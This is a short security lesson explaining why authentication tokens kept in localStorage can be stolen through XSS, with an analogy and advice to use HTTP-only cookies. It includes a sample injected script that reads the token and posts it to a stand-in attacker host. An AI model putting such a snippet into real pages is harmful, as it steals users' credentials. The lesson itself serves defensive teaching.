Why localStorage is Vulnerable to XSS Attacks
You'll learn why storing sensitive tokens in localStorage creates a critical security vulnerability when XSS attacks succeed.
The Core Problem
When you store authentication tokens or other sensitive data in localStorage, any JavaScript code running on your page can access it. That's the intended behavior—but it becomes catastrophic during an XSS (cross-site scripting) attack.
If an attacker manages to inject malicious JavaScript into your application (through any of the XSS vectors you've learned: reflected, stored, or DOM-based), that script runs with the same privileges as your legitimate code. It can simply call localStorage.getItem('authToken') and instantly steal the user's credentials.
How the Attack Works
Think of localStorage like a public bulletin board in your office. Anyone who can walk into the building (any JavaScript on the page) can read what's posted there. An XSS attack is like giving a thief a visitor badge—once they're inside, they have full access to that bulletin board.
The attacker's injected script might look like this:
// Malicious script (injected via XSS)
const token = localStorage.getItem('authToken');
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
Why This Matters
Unlike HTTP-only cookies (which JavaScript cannot access), localStorage is intentionally readable by all JavaScript. There's no way to restrict access or mark items as "sensitive only." Every XSS vulnerability becomes a potential full account compromise.
Key Takeaway: localStorage is always accessible to any JavaScript on your page, making it a prime target for XSS attacks—never store authentication tokens or sensitive data there.